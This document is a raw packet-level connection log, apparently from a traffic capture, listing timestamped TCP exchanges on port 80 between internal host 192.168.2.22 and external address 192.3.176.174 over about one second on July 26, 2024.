Jul 26, 2024 13:08:53.845386028 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.845422983 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.845470905 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.846446991 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.846482992 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.846537113 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.847619057 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.847652912 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.847670078 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.847693920 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.848778009 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.848813057 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.848869085 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.850003958 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.850039959 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.850059032 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.850085020 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.851162910 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.851197004 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.851247072 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.852355003 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.852389097 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.852406979 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.852422953 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.852432013 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.852464914 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.853569031 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.853602886 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.853621006 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.853642941 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.854764938 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.854799986 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.854849100 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.855981112 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.856014967 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.856036901 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.856055021 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.857203007 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.857239962 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.857271910 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.857290030 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.857312918 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.858369112 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.858403921 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.858455896 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.859829903 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.859864950 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.859890938 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.859905005 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.860790014 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.860826015 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.860846043 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.860872984 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.861993074 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.862027884 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.862046957 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.862073898 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.863212109 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.863248110 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.863281012 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.863298893 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.863327026 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.864439011 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.864474058 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.864499092 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.864537001 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.865602970 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.865638018 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.865658998 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.865684032 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.866811037 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.866844893 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.866899967 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.867983103 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.868016958 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.868042946 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.868050098 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.868056059 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.868093967 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.869234085 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.869268894 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.869327068 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.870439053 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.870474100 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.870528936 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.871568918 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.871607065 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.871623993 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.872761965 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.872796059 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.872821093 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.872844934 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.873975992 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.874010086 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.874042034 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.874067068 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.874243975 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.875134945 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.875169992 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.875191927 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.875216961 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.876365900 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.876401901 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.876454115 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.877513885 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.877549887 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.877571106 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.877594948 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.878734112 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.878767967 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.878799915 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.878818035 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.878845930 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.879920006 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.879956007 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.879976034 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.880000114 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.881158113 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.881198883 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.881230116 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.881247044 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.882344007 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.882383108 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.882431984 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.935939074 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.936034918 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.936073065 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.936129093 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.937143087 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.937177896 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.937181950 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.937196970 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.937227011 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.937999964 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.938035011 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.938081026 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.939095974 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.939131021 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.939182043 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.940345049 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.940380096 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.940398932 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.940421104 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.941468000 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.941502094 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.941551924 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.942655087 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.942689896 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.942739964 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.943975925 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.944013119 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.944026947 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.944046021 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.944056034 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.944086075 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.945060015 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.945095062 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.945141077 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.946013927 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.946049929 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.946067095 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.946090937 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.946923018 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.946959019 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.947001934 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.947897911 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.947933912 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.947948933 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.947968006 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.947974920 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.948008060 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.948916912 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.948952913 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.948970079 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.948992968 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.949841022 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.949877024 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.949891090 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.949918032 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.950763941 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.950798988 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.950845003 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.951720953 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.951756001 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.951767921 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.951797009 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.952635050 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.952671051 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.952703953 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.952718019 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.952739954 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.953567028 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.953603983 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.953655005 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.954422951 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.954457998 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.954502106 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.955178022 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.955213070 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.955224991 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.956104040 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.956139088 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.956152916 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.956172943 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.956181049 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.956768990 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.956804991 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.956825972 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.956851959 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.957534075 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.957568884 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.957618952 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.958359957 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.958395958 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.958442926 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.959048033 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.959086895 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.959116936 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.959140062 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.959803104 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.959836960 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.959871054 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.959908962 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.959924936 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.959930897 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.960549116 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.960585117 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.960637093 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.961262941 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.961296082 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.961345911 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.962044954 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.962080002 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.962099075 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.962121964 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.962760925 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.962796926 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.962829113 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.962852001 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.962874889 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.964018106 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.964055061 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.964073896 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.964096069 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.965271950 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.965306997 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.965363026 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.966526031 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.966559887 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.966624975 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.967405081 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.967442036 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.967456102 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.967483997 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.968358994 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.968394041 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.968425035 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.968441963 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.968466043 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.969286919 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.969321966 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.969337940 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.969356060 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.970226049 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.970262051 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.970307112 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.971014023 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.971050024 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.971064091 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.971112013 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.971812963 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.971848965 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.971868038 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.971882105 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.971889973 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.972301960 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.972551107 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.972587109 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.972599030 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.972629070 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.973356962 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.973392010 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.973440886 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.974127054 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.974163055 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.974175930 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.974204063 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.974962950 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.974998951 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.975044012 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.975727081 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.975760937 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.975779057 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.975794077 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.975795031 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.976500988 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.976536036 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.976550102 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.976577997 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.977276087 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.977310896 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.977360010 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.978101015 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.978136063 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.978148937 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.978246927 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.978857994 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.978893042 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.978924990 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.978943110 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.978965998 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.026765108 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.026881933 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.026918888 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.026968956 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.027544975 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.027580976 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.027581930 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.027602911 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.027626991 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.028326035 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.028362036 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.028413057 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.029131889 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.029167891 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.029225111 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.029894114 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.029928923 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.029963017 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.029982090 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.030009985 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.030693054 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.030728102 CEST	80	49170	192.3.176.174	192.168.2.22
